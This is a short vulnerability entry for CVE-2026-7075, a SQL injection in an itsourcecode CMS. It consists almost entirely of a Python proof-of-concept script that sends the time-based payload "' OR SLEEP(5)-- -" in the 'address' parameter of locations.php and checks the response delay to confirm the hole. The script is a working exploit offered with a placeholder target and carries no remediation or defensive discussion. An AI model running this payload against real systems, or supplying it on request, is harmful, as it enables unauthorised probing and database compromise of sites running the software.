CVE-2026-7075 itsourcecode CMS SQL注入漏洞

#!/usr/bin/env python3 import requests def check_sqli(target_url): """ PoC for CVE-2026-7075 SQL Injection in locations.php Testing the 'address' parameter. """ # Payload to cause a time-based delay or syntax error injection_payload = "' OR SLEEP(5)-- -" params = { "address": injection_payload } try: print(f"[+] Sending request to {target_url}/locations.php") response = requests.get(target_url + "/locations.php", params=params, timeout=10) # If response takes longer than usual, SQLi might be successful if response.elapsed.total_seconds() >= 5: print("[!] Potential SQL Injection vulnerability confirmed (Time-based).") else: print("[-] Vulnerability not confirmed or WAF blocked.") except requests.RequestException as e: print(f"[Error] {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)